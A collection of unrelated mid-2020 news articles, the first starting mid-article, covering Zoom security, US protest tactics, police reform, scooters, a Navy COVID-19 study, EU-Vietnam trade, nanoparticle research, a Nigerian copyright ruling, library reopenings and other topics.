Those credentials werent necessarily stolen from Zoom itself. But the combination of multiple security concerns quickly prompted a number of reports indicating that Zoom wasnt quite as safe as might be hoped.

In response to those security issues and reports, Zoom committed itself to secure its platform. Among other changes, the company tacked on support for AES 256-bit GCM encryption. Thats chiefly available to non-free members but it also reorganized its security features behind a revised menu with easier access. And it added in the ability for users to report inappropriate conduct.

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Those changes could be augmented by further information about staying safe while using online tools. And the addition of a tool to warn users about suspect links would be even better. But this change is really just one in a long chain of alterations being made to improve things for users.

Google competes with Zoom, so its not clear how likely this is

Now, Google is a direct competitor with Zoom via what remains of its Hangouts-brand as well as its Google-branded chat services. So it may, at the surface, appear unlikely that Google would partner with Zoom on a security solution. But the search giant doesnt quite offer the same level of benefits either.

Googles Duo video calling service, for instance, will support up to 32 participants soon. But that falls well short of the 100 participants supported by Zoom. And thats just one area where Googles multitude of offerings falls short. So, the search giant could feasibly partner with Zoom as a means to bring in more revenue  although it remains to be seen what the deal will entail.

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Conversely, Zoom has also reportedly declined to comment on the matter. So it bears mention that this may not ultimately be happening at all.
A protester in Kansas City, Missouri, uses a leaf blower to try and put out a tear gas canister. KCTV5

Black Lives Matter protesters across the country have adapted a technique pioneered by last year's Hong Kong pro-democracy demonstrators to combat tear gas.

The protesters are using leaf blowers to blow the gas away from them, then dousing the canisters in water so they are put out.

"Having been on the global forefront against police brutality, we're heartened to learn that our experience and creativity have proven useful," Hong Kong activist Jeffrey Ngo this week.

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In March 2019, a protest movement was started in Hong Kong over a controversial extradition bill that would have allowed people in the city to be detained and sent to mainland China.

A little more than a year later, unrest now grips the US over the death of George Floyd, and protesters here appear to be taking notes from Hong Kong.

As one Hong Kong activist pointed out on Twitter this week, some American protesters have been bringing leaf blowers with them to demonstrations, which had proved useful in putting out tear gas canisters unleashed by police in Hong Kong.

The police and National Guard have also used tear gas and pepper spray on protesters across US cities in recent days.

Leaf blowers can be used to blow the tear gas away from protesters, who can then snuff out the canisters with water.

Here's an example of a leaf blower being used during the Hong Kong protests:

"Having been on the global forefront against police brutality, we're heartened to learn that our experience and creativity have proven useful," wrote Jeffrey Ngo, chief researcher of the Hong Kong's pro-democracy Demosisto movement.

He told Vice News this week that the tactic appeared to have come straight from the Hong Kong demonstrations, citing one Demosisto video of a man using a leaf blower suddenly going viral in the US last week.

Story continues

Ngo then went to list several examples of the leaf blower technique being put to use at protests in four states including Michigan, Missouri, Wisconsin, and North Carolina.

Jeffrey Ngo   (@jeffreychngo) June 2, 2020

Jeffrey Ngo   (@jeffreychngo) June 2, 2020

Jeffrey Ngo   (@jeffreychngo) June 2, 2020

Jeffrey Ngo   (@jeffreychngo) June 2, 2020

Earlier this week demonstrators in Seattle also used umbrellas to shield from tear gas  another protest tactic that mirrored those in Hong Kong.

During the Hong Kong protests, which took place most of last year and resumed in recent weeks, activists also developed a sophisticated sign language so they could request supplies and warn of specific dangers without the police's knowledge.

The hand signals include messages like "helmet," "gather up," and "run."

Read the original article on Insider
Oregon Gov. Kate Brown pledged to review state police training practices during a forum with Portland NAACP President Rev. E.D. Mondaine and Urban League of Portland Chief Executive Nkenge Harmon Johnson on Thursday. Portland Mayor Ted Wheeler and Commissioner Jo Ann Hardesty also took part.

Mondaine said the purpose of the forum was to lay groundwork for deliberate and immediate action.

Brown stopped short of providing benchmarks that she would commit to accomplishing in the next one to three months during the Investing in Black Lives: A Path Toward Healing, forum. But she said she would advocate for criminal justice reform laws supported by lawmakers of color.

I commit to you that I will work to pass the legislation sponsored by the People of Color Caucus to increase law enforcement accountability, Brown said. I will do as quickly as possible a review of training practices at DPSST, our training facility for law enforcement.

The governor was referring to the state Department of Public Safety Standards and Training, which trains and regulates officers statewide.

Brown did not say she intended to alter police training or tactics, but did say she would continue to listen.

Sen. Lew Frederick, D-Portland, a member of the People of Color Caucus, said this week he plans to put forth more than a dozen bills to reform police conduct, including ones to change arbitration procedures that have undermined some police chiefs efforts to discipline or fire officers whove engaged in misconduct.

Harmon Johnson said things have been really terrible for a really long time. She noted the only time it seemed business leaders and politicians cared is when people take to the streets.

Harmon Johnson also noted the significant power imbalance in society for people of color.

I cant tell you how frustrating it is for most of us to hear folks who have plans now, when weve had plans all along that are ignored unless we are crying out, in the streets, Harmon Johnson said.

The forum lasted for 1 hour and 40 minutes, during which Wheeler, Hardesty and Brown fielded questions. Topics of discussion included incarceration, education and policing, as well as healthcare.

Brown said she would center communities of color in the recovery phase of the coronavirus pandemic.

Brown said she is working to provide $80 million to fund the Oregon Health Authoritys health equity plan, and some of that money would go toward behavioral health support for black communities. She did not provide a specific amount or timetable.

-- K. Rambo

krambo@oregonian.com

@k_rambo_

Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories.
CLEVELAND, Ohio  Rentable electric scooters will soon return to Clevelands streets and will likely move a bit faster and be ridden a little later than last year.

Once the administration of Mayor Frank Jackson works up new permitting rules, four vendors are expected to relaunch with permission from City Council to raise their maximum scooter speeds from 12 to 15 mph.

The council also agreed this week to allow scooters to be ridden from 5 a.m. until 9 p.m. through Labor Day. Last year, riders were limited to 7 a.m. to 7 p.m.

The change in operating hours is intended to take advantage of available daylight hours. The aim of increasing maximum speeds is to allow scooters to better flow with street traffic.

Council urged police to enforce rules prohibiting the scooters from being ridden on city sidewalks.

In an email Thursday, Jacksons administration said the permitting process that is needed to restart the scooter programs will happen as soon as possible.

Want more? Get insider texts about Cleveland City Hall on your phone from Robert Higgs, cleveland.coms City Hall reporter. Sign up here. It costs less than 15 cents a day.

Four vendors  Bird, Lime, Spin and Wheels  are expected to resume operations the administration said in its email.

That scooters, and rentable electric bikes, are returning is important for more than just tourists, according to Councilman Kerry McCormack, whose Ward 3 includes the downtown, Ohio City and Tremont  all prime scooter territory.

For residents who cant afford a car, or dont want one, scooters have become a a key part of transportation McCormack said during a recent council meeting.

Residents  have reached out to me and have said, this has allowed me to commute to my job without using a vehicle or this has allowed me to connect with the bus stop I have to get to, he said.

The electric scooters first hit the streets in Cleveland last August and quickly became popular. More than 200,000 rides and 2.5 million minutes of riding time were logged, according to data prepared by Clevelands Planning Commission.

Riders gain access to the scooters through an app on their smart phones. Once done, riders are supposed to leave the scooters parked on the sidewalk for the next rider.

The cost per minute varies between companies but is usually about 35 cents a minute. The cost is billed to a credit card attached to the smart phone app.

The return of the scooters was delayed when in March, when the city asked the companies to pull their vehicles from the streets while it settled on guidelines for safe operating during the coronavirus pandemic.

Several vendors already were enacting safety precautions  disinfecting their vehicles regularly, providing their workers with personal protection equipment and placing hand sanitizers on the vehicles.

Planning Director Freddy Collier told City Council this week that the scooter vendors would be operating under guidelines established by the federal government and the state on sanitizing and providing messages via apps to riders.

More from Cleveland City Hall

Cleveland Mayor Frank Jackson says he hopes curfew will end Friday but warns it will return if theres trouble

Cleveland City Council OKs seating in streets, parking lots to help restaurants, bars rebound from coronavirus shutdowns

Cleveland City Council declares racism a public health crisis, launching community-wide effort to tackle inequities

Cleveland should try small-scale recycling while it fixes its programs big problems, council members argue
The Navy is preparing to publicly release the findings of an investigation it conducted with the Centers for Disease Control and Prevention after the novel coronavirus swept through the crew of a deployed aircraft carrier, infecting more than 1,100 and killing one.

The findings of the Navy and CDC's investigation into the outbreak of COVID-19, the illness caused by the coronavirus, on the carrier Theodore Roosevelt, are expected to be released next week, Vice Adm. Phillip Sawyer, the operations chief in charge of the service's coronavirus response, said in a phone call with reporters.

Read next: Military Leaders to Troops: It's Time to Talk About Racism and Protests

Lessons learned from the study, first announced in April, will be incorporated into the guidance the entire Navy has been ordered to follow during the global pandemic, which Sawyer called an unprecedented environment.

The investigation results are expected to reveal how many of the Roosevelt crew members who volunteered to participate in the study developed neutralizing antibodies, Sawyer said. Researchers in China found most people in a cluster of COVID-19 patients produced high levels of neutralizing antibodies, which stop the virus from infecting new cells, according to Science News.

Sailors who participated in the investigation agreed to health questionnaires, blood tests and nasal swabs, Sawyer said.

"I'm looking forward to seeing their analysis ... in terms of what percentage of that group developed antibodies," he said.

The Roosevelt has been at the center of the Navy's COVID-19 struggle. The service has had the highest number of cases in the Defense Department ranks, and the health crisis on the carrier has made headlines. The decision of former acting Navy Secretary Thomas Modly to fire the commanding officer who warned that the virus was spreading rapidly on the ship prompted the service to order a separate investigation.

That investigation is complete, but remains under review by the Navy's top admiral.

Sawyer said Navy leaders hope to learn more about the way COVID-19 spreads from people who are asymptomatic, which has proven one of the biggest challenges with this coronavirus strain. Officials said in April that more than half of the nearly 300 Roosevelt crew members who tested positive at the time didn't show any COVID-19 symptoms.

"I think we'll have a little bit better idea of what that incidence of true asymptomatic infection is," he added.

Sawyer and Navy Surgeon General Rear Adm. Bruce Gillingham developed new guidance all Navy units must follow during the pandemic. Measures include 14-day sequesters and medical screenings before deployments, and face masks and social distancing whenever possible.

The Navy, Sawyer said, continues to learn from the COVID-19 outbreaks on the Theodore Roosevelt and destroyer Kidd, which had to return to port in April due to its number of positive cases.

"We believe in rapid-cycle feedback from the deck plates, from our folks who are out there doing the work, to provide the best possible practices -- combined that with the best medical evidence -- to protect our sailors and allow them to keep operating," he said.

-- Gina Harkins can be reached at gina.harkins@military.com, Follow her on Twitter @ginaaharkins.

Related: Navy Wants to Designate 'Safe Haven' Ports Where Ships Can Stop During Pandemic
Open source

14 Ukrainians are returning to Ukraine, after they were forced to stay in Myanmar due to quarantine. The press service of the Embassy of Ukraine in Thailand reported that.

"Today, 14 Ukrainian citizens are finally returning home; they stuck in the Republic of the Union of Myanmar in connection with quarantine measures introduced by countries to combat Covid-19," the statement said.

It is noted that from the city of Yangon, Ukrainians took the plane of the Italian airline. Ukrainians will spend the night at the airport in Milan, from where they will go to Belarus, and then finally enter the territory of Ukraine.

As we reported before, starting from June 15, the Foreign Ministry of Germany will lift the restriction for entrance for citizens of 26 EU countries.

Besides, the citizens of the UK and countries that enter the Schengen Area but not EU members (Iceland, Norway, Switzerland and Lichtenstein) will be allowed to enter Germany.

Moreover, from mid-June, the Foreign Ministry of Germany will allow the citizens to travel all over the European continent. They will be allowed to visit 31 countries.
Giorgio Aliberti Ambassador of the European Union Delegation to Vietnam, photo VOV

These new foundations provide a good basis for expanded trade and investment opportunities. Vietnam is by far the biggest exporter of goods to the EU in the ASEAN  almost twice as much as the second strongest exporter, Singapore. Unfortunately, the trade is very unbalanced: Vietnam only buys a third of the products from the EU that Singapore buys, leading to big trade deficits. Regarding FDI, the EU is the largest investor in ASEAN countries, ahead of Japan and China. However, the EU is only the fifth-largest FDI partner of Vietnam. Is this an indication that there is room for FDI growth from EU companies to invest in Vietnam and what does this imply for trade?

When entering into force, the EVFTA will bring immediate positive effects for businesses in both Vietnam and Europe. From day one, the cut to tariffs will apply to 65 per cent of the EU exports to Vietnam and 71 per cent of EU imports from Vietnam, with a gradual phasing out over 10 years. The elimination of bilateral tariffs and export taxes, together with the reduction of non-tariff barriers affecting cross-border exchange of goods and services, are expected to boost bilateral trade considerably. The opening of the procurement markets adds important new trading opportunities for the EU.

Vietnam exports to the EU are forecast to grow by 15 billion ($16.5 billion), while EU exports to Vietnam are expected to grow only half as much. These figures fall short, however, in capturing many of the dynamic gains that will result both for the economies and the societies.

For such dynamic gains, FDI is going to be the critical catalyst. But the main question is: How do you get more EU trade to get more EU investment? The answer is to allow and facilitate more EU exports to Vietnam in the first place.

Streamlining regulations applicable to business sectors has a huge potential for triggering these dynamic gains. In many internal studies in the EU, it turned out that the right regulations, based on international standards and practices, will provide benefits to business, and attract international businesses that bring much higher benefits than the obvious gains from the tariff reductions. It is not about deregulating important government policies, but there are many ways to make regulations smarter. Better regulation inside Vietnam will also improve the competiveness of Vietnamese firms operating abroad and expanding to the EU. FDI often follows strong trade relations. In return, more FDI is likely to further increase the trade potential between partners. In its amazing progress to a middle-income country, Vietnam now realises that without further FDI its potential to become a regional hub and become part of global value chains may be limited. With the EVFTA and the EVIPA, todays disruptions can also serve as an opportunity for re-organising Vietnamese trade and investment relations. Vietnamese companies may want to consider whether they could diversify their supply chains, their production chains and their integration into value chains. If the country diversifies more, it becomes less vulnerable to future global economic crises.

If there is more trade from the EU to Vietnam, it is likely that the EVFTA will trigger a new wave of FDI from the EU into this country. Investments from the EU are of top quality. European FDI comes with high standards of corporate social responsibility for protecting and training workers and employees, as well as for respecting and protecting the environment. These spillover effects are essential for economies like Vietnam to avoid the middle-income trap. It allows Vietnam to promote economic growth, create better jobs at the same time while ensuring sustainable development.

Both agreements offer Vietnam a chance of becoming a regional production hub. Compared with regional peer economies, Vietnam has a first mover advantage of 7-10 golden years of privileged access to the EUs market.

If you take a closer look into the complementarities of our two economies, greater interdependence is really a win-win situation. These positive effects will of course only materialise if the promises and obligations of the agreements are swiftly put into practice. The benefits of the agreements will depend on the level of transparency and predictability of government behaviour in contact with business. Businesspeople and investors can be shy and have options to move elsewhere. Attracting and retaining more European FDI will require reforms and streamlining of rules and procedures. Digitalisation and access from outside of Vietnam to start and accomplish these procedures could help attract more small- and medium-sized global players.
The contributions of researchers from The University of Texas at El Paso have yielded the first indication that carbon quantum dots, a class of nanoparticles, can be utilized to combat neurological disorders. Credit: Mahesh Narayan

The contributions of researchers from The University of Texas at El Paso (UTEP) have yielded the first indication that carbon quantum dots, a class of nanoparticles, can be utilized to combat neurological disorders, according to a paper published in the journal Processes as part its special issue on protein biosynthesis and drug design and delivery.

The study, titled "Untangling the Potential of Carbon Quantum Dots in Neurodegenerative Disease," was co-authored by Sreeprasad T. Sreenivasan, Ph.D., and Mahesh Narayan, Ph.D., assistant professor and professor, respectively, in UTEP's Department of Chemistry and Biochemistry. The pair contributed to work by Prakash Narayan, Ph.D., vice president of preclinical research for Angion Biomedica Corp. in Uniondale, New York; and Lindsey Jung, a student at Tenafly High School in New Jersey, who works under Prakash Narayan's supervision.

The study focuses on carbon quantum dots (CQDs), biofriendly materials synthesized from waste materials such as wood, fruit peel, algae and even salmon. A road map laid out by the research team addresses, for the first time, key requirements for the transitioning of their use from environmental-sensing applications into the neurodegenerative domain; a crossing-over that requires their separation and total characterization, including aspects related to safety and their ability to target specific receptors in the brain.

"The carbonaceous quanta are finally making their way from physics into chemistry and now, biology," Prakash Narayan said. "This work lays the foundation for harnessing the enormous potential of carbon quantum dots for therapeutic intervention in neuro disease."

The CQDs are made by "pressure-cooking" waste biomaterials such as fruit peel, amino acids, algae and even fish. As an outcome of the procedure, they are synthesized as a mixture of carbon dots and non-carbon dots. Some of the compounds in the mixture can be toxic. This aspect would negate their use in biomedical applications.

To facilitate the crossing-over of CQDs into preclinical and eventually clinical use, the research team provides a path for their safe use while demonstrating their potential to both prevent and treat neurodegenerative disorders, Mahesh Narayan said.

The research was conducted at Angion Biomedica, and at UTEP's Functional Quantum Materials Laboratory and the Laboratory for Neurodegenerative Research.

The transitioning of CQD applications from electrochemistry, catalysis and environmental sensing to biomedicine represents an important milestone in its 15-year history; a bellwether for its yet-unrealized potential in interventional biology, imaging, diagnostics, prophylaxis and therapy.

"This will allow pharmaceutical companies to tailor carbon quantum dots for specific uses," Mahesh Narayan said. "Individuals with Parkinson's and Alzheimer's could benefit greatly from this kind of therapy."

Explore further Researchers develop nanohybrid vehicle to optimally deliver drugs into the human body

More information: Lindsey Jung et al, Untangling the Potential of Carbon Quantum Dots in Neurodegenerative Disease, Processes (2020). Lindsey Jung et al, Untangling the Potential of Carbon Quantum Dots in Neurodegenerative Disease,(2020). DOI: 10.3390/pr8050599
The Lagos Division of the Court of Appeal has ordered Multichoice Nigeria to pay N5.4 billion as damages to the Musical Copyright Society of Nigeria for copyright infringement.

In a unanimous judgement delivered on May 29, the court upheld the decision of the federal high court that the MCSN was the exclusive owner of the body of some musical works over the Nigerian territory.

Festus Ogbuinya, who read the lead judgment and the two other judges  Gabriel Kolawole and Bilikisu Aliyu who agreed with him  resolved seven of the nine issues for determination in favour of MCSN.

The judgment of the lower court, which is submissive to comprehension, is not antithetical to the pleadings and evidence presented before it by the feuding parties, said Mr Ogbuinya.

It utilised the evidence the parties presented before it as adumbrated above. The finding does not, in the least, smell of any charge of perversity levelled against it by the appellant.

The judge said Multichoice Nigeria was stingy in illustrating how it was afflicted with a miscarriage of justice.

From the concrete evidence, the reasonable probability to earn a favourable result in its favour was, with respect, an echo of mirage.

On the whole, having resolved the live issues one, three, four, five, seven, eight (partly), and nine against the appellant, the fate of the appeal is obvious. It is bereft of any grain of merit and deserves the penalty of dismissal. Consequently, I dismiss the appeal.

The court, however, did not order the payment of N200 million and N300 million general and aggravated damages respectively against the multinational granted by the lower court.

Multichoice Nigeria had dragged the MCSN to court in 2011 after the music body wrote to it demanding N4.1 billion as cumulative copyright and royalties for musical contents used by the company in its programmes.

According to the company, it is not obliged to pay to MCSN royalties for material used in programming on DSTV because the body is not licensed by the Nigerian Copyright Commission.

But the MCSN argued that the musical works in question were assigned to it by two international organisations, Performing Rights Society and Mechanical Copyright Protection Society.

While delivering his judgement in January 2018, Mohammed Idris struck out Multichoices claims against the Nigerian body.

A juristic personality

In his judgement, Mr Ogbuinya noted that although the appellant (Multichoice) accused the respondent (MCSN) of not having a certificate of incorporation, there was no record of it before the court challenging its legal status.

There is, perhaps, a possible reason for the appellants failure to challenge the legal status of the respondent,  Mr Ogbuinya said.

It would be recalled that at the time the appellant filed its pleading, its claim was still bubbling with viability and vitality. At that time, it could not have queried the legal capacity of the respondent it had sued. To do so would have meant robbing the lower court the jurisdiction to entertain its claim against a non-juristic person. The law frowns on it.

Mr Ogbuinya said the appellant, in its pleading, starved the court the crucial assertion that questioned the legal capacity of the respondent to institute a counter-claim.

In view of these, I will not label the first respondent as a non-juristic unit, stripped of the capacity to sue or defend the counter-claim in the lower court, in order not to insult the law.

Contrawise, I crown it with the toga of a juristic personality with all the attendant rights and liabilities appurtenant to it.

The judge also faulted the failure of the appellant to produce its broadcast logs despite the lower courts command

The absent broadcast logs, justifiably, cried for the attention of the lower court to douse the damning evidence of the respondent.
The Academy has responded after Selma actor David Oyelowo accused them of overlooking the 2015 Oscar-nominated movie because the cast spoke out about police brutality.

British actor Oyelowo along with Selma director Ava DuVernay accused the academy of rebuking the cast for wearing 'I Can't Breathe' T-shirts to the movie's premiere months after the killing of Eric Garner at the hands of police.

'Ava & David, we hear you. Unacceptable. We're committed to progress. @ava #DavidOyelowo' The Academy tweeted on Thursday.

The Academy has responded after David Oyelowo recalled them overlooking the Selma cast when they spoke out in support of Black Lives Matter in 2014

Speaking on Screen's Screen Talks live Q&A series this week, Oyelowo, 44, recalled the negative response the cast got for taking a stand in support of Black Lives Matter.

'Six years ago, Selma coincided with Eric Garner being murdered. That was the last time we were in a place of 'I Can't Breathe'' he said.

'I remember at the premiere of Selma us wearing 'I Can't Breathe' T-shirts in protest. Members of the Academy called in to the studio and our producers saying, "How dare they do that? Why are they stirring s***?" and "We are not going to vote for that film because we do not think it is their place to be doing that."

Oyelowo accused the academy of rebuking the Selma cast for wearing 'I Can't Breathe' T-shirts to the movie's premiere in December 2014 months after the killing of Eric Garner at the hands of police

'Committed to progress': After David's comments made headlines, and Selma director Ava DuVernay corroborated his claims, The Academy responded

'It's part of why that film didn't get everything that people think it should've got and it birthed #OscarsSoWhite.'

DuVernay corroborated Oyelowo's story, as she retweeted the Screen article and wrote: 'True story.'

Oyelowo continued: 'They used their privilege to deny a film on the basis of what they valued in the world.'

The 'I Can't Breathe' slogan is taken from the last words Garner uttered as he was suffocated by a police officer in July 2014 while being arrested in Staten Island, New York.

True story: Oyelowo said the Oscar board members accused the cast of 'stirring s**t' and said they wouldn't vote for the film

History: Ava later shared that paramount is offering Selma to viewers for free on all digital platforms in June

The words have seen a resurgence following the death of George Floyd last month at the hands of Minneapolis police sparking protests and riots across the country.

Selma, which is based on the 1965 Selma to Montgomery civil rights marches, experienced critical success and earned two Oscar nominations, for best picture and best original song.

The film won best original song for Glory, performed by John Legend and Common.

On Instagram on Thursday Oyelowo shared an emotional video where he talked about the George Floyd killing and how he has personally been affected by racism

On Instagram on Thursday Oyelowo shared an emotional video where he talked about the George Floyd killing and how he and his family have been affected by racism.

'Every black person has racism as a wound. Here are a handful of mine and how it affects 3 generations of black men in my family. Lets create a better future together.

'This video is 8 mins and 2 secs long. Derek Chauvin had his knee on George Floyds neck for another 44 seconds longer than that. Think about that.' he wrote in the caption.
By Express News Service

CHENNAI: CAB aggregator Ola has resumed operations in Chennai based on guidelines issued by Tamil Nadu government. The company claims to have introduced a 5-layer safety system, which includes compulsory mask usage by drivers and passengers, deep sanitisation of vehicles, self-loading and unloading of luggage, and cashless payments.

A flexible cancellation policy has also been introduced that allows either the passenger or driver-partner to cancel the ride if they feel the other party is not following the rules or not wearing a mask. Fumigation of the vehicles will be done every 48 hours.

The Karnataka government has disbursed one-time payment of Rs 5,000 to over 27,000 auto and taxi drivers, providing relief to the sector hit hard by the lockdown. C Sampath, general secretary, Adarsha Auto Union, said they are relieved for now, but have reached out to Chief Minister BS Yediyurappa, seeking compensation for those drivers who do not possess badges.
For years, what they didnt teach you in library school was the fun meme used to capture the less glamorous tasks librarians have to perform, from unplugging the mens room toilet to fishing garbage out of the book drop. Well, in the wake of Covid-19, that meme has been blown out of the water.

Today, librarians are all trying to understand how the novel coronavirus spreads and what that means for library environments. Coughing and sneezing? Speaking? Breathing? How does the virus travel on the airflow? Were desperate for an authoritative answer on how long the virus lives on different surfaces. Were learning more every day about the troubling role asymptomatic people play in spreading the disease, about contact tracing and how it works. Were trying to understand what the presence of antibodies really means in terms of immunity. And with a puzzling, Kawasaki-like inflammatory disease attacking young people, what can be done with our childrens libraries, given that kids will never learn to practice social distancing?

No, were not epidemiologists, infectious disease specialists, or public health experts, and in normal times Id be happy to wait for the experts to weigh in with their well-researched opinions. But these are not normal times. And the clock is ticking. Soon, Ill begin the process of reopening my library, the White Plains Public library (N.Y.), bit by bit.

If you work in a public library, you may already be open to the public in some fashion or other, such as offering curbside pickup. Or you may be planning a phased reopening in the coming weeks. If youre a library worker, youre probably anxious about what your job will look like going forward. And if youre a library manager, like me, youre no doubt feeling the pressure of your colleagues and staff relying on you to get it right.

Where's the Leadership?

Yet, whats been most startling and difficult about this strange and uncertain moment in public library history is how alone we are. As we prepare to open our doors again, so many of the leaders, experts, and institutions librarians normally turn to for guidance have either gone silent, proven unreliable, or are actively making matters worse.

Take the American Library Association. On March 13, when nearly every public library in the nation was debating whether to close, the ALA issued a statement long on platitudes and short on empathy. Staying open? Wash your hands. Considering a closure? Follow the direction of your local health department. That was hardly what we needed to hear at the timeour professional organization basically denying librarians agency in the midst of a pandemic. Just four days later, on March 17, the ALA Executive Board issued a statement recommending that all libraries close. Confusing much?

On the other hand, I give kudos to Anthony Marx, president of the New York Public Library. Marx shuttered NYPL early on, reportedly against the wishes of the mayor, and ahead of the citys other library systems. Marx has since been trying to explain to the public the complexity and care needed to successfully reopen the system. Its impossible to overstate the influence that flagship library systems like NYPL can have on other libraries. Marxs words gave scores of other library leaders in the tri-state area something tangible and reasonable to bring to their boards.

Then theres Chicago, where the library community has watched in horror as library staff were ordered back to work when virtually every other urban library in the country remained closed. Staff were reportedly told they should return to work on May 20 to prepare for an early June reopeningjust in time for what Governor Pritzker had predicted would be Illinoiss Covid-19 peak. In late May, one Chicago library worker took the drastic measure of posting a letter on social media urging patrons to stay away, accusing library administrators of rushing ahead with an unsafe plan.

 As we prepare to open our doors again, so many of the leaders, experts, and institutions librarians normally turn to for guidance have either gone silent, proven unreliable, or are actively making matters worse. 

One of the big challenges Ive faced is deciphering where libraries fit into my states reopening plans. Maybe the New York State Library could help? Alas, no. The state library has made it clear that it doesnt have the authority to interpret Governor Andrew Cuomos order or to provide guidance, instead punting the hard work back to the patchwork of local library systems. How about at least serving as a clearinghouse for best practices, new information, or highlighting exemplary reopening plans? No, again. The state librarys website has plenty of information about the summer reading program, but not much about keeping libraries safe from a pandemic that has killed roughly 30,000 New Yorkers.

Finally, theres science. No, science hasnt betrayed us; it just feels like it has. We cant blame the scientific community for not providing more authoritative data about a novel coronavirus. But even a little more data-based guidance would help. Weve all listened and relistened to the Institute for Museum and Library Services webinar Mitigating Covid-19 When Managing Paper-Based, Circulating Collections so many times we could put on a readers theater version. And well just have to wait patiently for the most authoritative information to emerge from the 15-month initiative, Reopening Archives, Libraries, and Museums Information Hub: A Covid-19 Research Project of OCLC, IMLS, and Battelle. If nothing else, it might come in handy for the next pandemic.

Its no wonder so many library workers are terrified and nervous. While New York Forward, my states reopening plan, all but guarantees we will return to a safer environment than the one we left, its hard for many of us to move beyond the tragedy and uncertainty of the past few months. Meanwhile, others are bored, eager to get going again, and hungry for human interaction, though those feelings, too, can often be driven by fearthe fear of losing ones job.

As public libraries begin reopening, the reality on the ground is that library managers around the country are having to figure out their own ways forward. We are sharing information on listservs and other informal networks, and reaching out to friends and colleagues to ascertain how we can make our reopeningsfrom the staffs return to the building, to the introduction of limited service and the eventual opening to the publicsafe, and as successful as possible. But its hardly ideal.

How to proceed?

Im one of the lucky ones. My city and my board of trustees support a careful, measured reopening and a cautious, incremental rollout of services. Not every librarian is so fortunate. I certainly dont claim to have all the answers, but I can share some of the broad strokes of what Ive learned so far.

First, dont just share your reopening plan with your staffcreate it with your staff.

This way, you can flush out the real issues your colleagues have with reopeningfor example, what do you do when a patron refuses to wear a maskwhile capturing and sharing a diversity of viewpoints that will help your plan succeed, and will keep your staff and the public as safe as possible.

Accept, too, that your reopening plan is a living document and will need to be continuously evolving. The research released by the CDC in mid-May indicating that the primary way Covid-19 spreads is through prolonged exposure in closed spaces upended much of my librarys initial planning. We had to pivot to a plan that better redistributes staff throughout the building, ensuring that there would be at most two people at a time in any workroom.

Resist pressure.

A measured library reopening and the slow unfolding of phases over the coming months, perhaps years, are sure to face all sorts of resistance from those who want the library of the past back, and want it right now. But this isnt the time to fly the mission accomplished flag. Dont ever forget: we know whats best for our community and our staff. And if the pressure mounts, be ready to tap the political capital youve been developing all these years.

Go ahead and get into the weeds.

Even if youre the big-picture type, bear down and pay attention to the details. You cant get too granular when it comes to developing your librarys reopening, nor can you review it too often with your colleagues. Curbside pickup in particular needs to be choreographed like a pas de deux.

Take up new initiatives.

It might seem counterintuitive when we will be struggling to reestablish ourselves, but we also cant ignore the staggering societal changes weve undergone in just two months. One, if libraries cant find ways to help people as they seek to reenter the work force or otherwise improve their skillswhile also social distancing and with limited technologythen we may as well not bother opening at all. And two, put the fight for universal broadband at the top of your advocacy agenda. The pandemic has now made crystal clear why the internet needs to be treated as a public utility.

Reflect on what weve done.

Like most libraries, my colleagues left the building in March, but kept the library going by redesigning the website, beefing up our digital offerings, setting up reference services on multiple platforms, and creating a far-ranging schedule of online programs. The resulting experiences, as well as the metrics, have astonished us all.

Yes, its deeply troubling that some in our community still cant participate because they lack hardware or connectivity. And, as I noted, this is on our advocacy agenda, for sure. But weve also ended up meeting so many residents who could never make it to our building for our programs because they were caring for kids or elderly parents, or had physical challenges or had other impediments. These patrons crowded into our Zoom workshops, joined online book groups, and are now able to participate in the community, all because we are finally meeting them where they are. One thing Ive learned for sure: as we go forward, we cant leave these people behind.

Covid-19 is changing public libraries in ways big and small, minor and profound. And as we all grapple with reopening, I still dont think we have any real grasp of what the outcomes might be. But heres something else I know: we cant reopen our buildings with the intent of just reestablishing our past. If we listen to the public, theyre telling us: its time to create something new.

PW contributing editor Brian Kenney is director of the White Plains (N.Y.) Public Library and a former editorial director of Library Journal and Publishers Weekly.
The PALI Center for Governance and Civic, non-state organization, has urged the Electoral Commission (EC) to remain focused and resolute in its quest to deliver impartial, credible and transparent elections.



The Center also asked that political parties and the public exercised restraint and allowed the electoral management body to carry out its constitutional mandate.



This was contained in a statement signed by Paa Kumi Frank, the Founding President, and copied to the Ghana News Agency (GNA), in Accra.



The ECs decisions must be guided by its constitutional obligations of delivering an impartial, credible and transparent elections to Ghanaians.



"As a non-state actor, the PALI Center for Governance and Civic, will like to urge the electoral management body EC, to remain focused and resolute even in the midst of a seemingly unconducive environment so as not to succumb to the direction of any external forces.



The statement said it was convinced that well-meaning Ghanaians would support the Commission in their efforts to provide a credible voters roll for election 2020.



It counseled the public against interfering with the operational strategies and decisions of the EC, adding that even though public opinion and stakeholders input played vital role in shaping inclusive governance and participatory democracy, people needed to be conscious of where to draw the line.



The Center encouraged the main opposition party together with its constituents to explore legitimate means addressing their concerns.



The governing New Patriotic Party should be circumspect in its utterances and to allow the EC to speak for itself.



"We finally urge the national security apparatus to be on red alert and to employ civility in dealing with any person or group of persons whose actions and utterances are likely to endanger public peace before, during, and after election 2020," the statement added.

Source: GNA









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

Featured Video
The Samsung Galaxy Note20 battery will have more capacity than its predecessor, but charging speed will not be upgraded. It and the 5G version of the Galaxy Z Flip were both certified by the 3C, which lists charger capabilities.

Note20s battery will charge at 25W (using the charger from the retail package), same speed as the Note10 and the Note20+ (which was certified earlier). This year the gap in battery capacity between vanilla and plus models will be smaller - 4,300mAh and 4,500mAh for the Note20 and Note20+, respectively, compared to 3,500mAh and 4,300mAh for the Note10 and Note10+.



Samsung Galaxy Note20 (SM-G981) with 25W charger (USB Power Delivery PPS)

Theres no mention of 45W charging, even though it was supported on the Galaxy Note10+ as well as other models like the Galaxy S20 Ultra 5G and even S10 Lite. However, all these models shipped with 25W chargers in the box, leaving it to you to buy a faster 45W if you wanted it.

This will likely be the case with the Note20 phones as well. The 3C certification of the Note10+ from last year also makes no mention of 45W and yet it is supported.

The Samsung Galaxy Z Flip 5G (SM-F707, aka Bloom-X) will stick with the 15W charger of the original model, even though it will most likely swap the old S855+ chipset for a newer S865.



The Galaxy Z Flip 5G gets a slower 15W charger

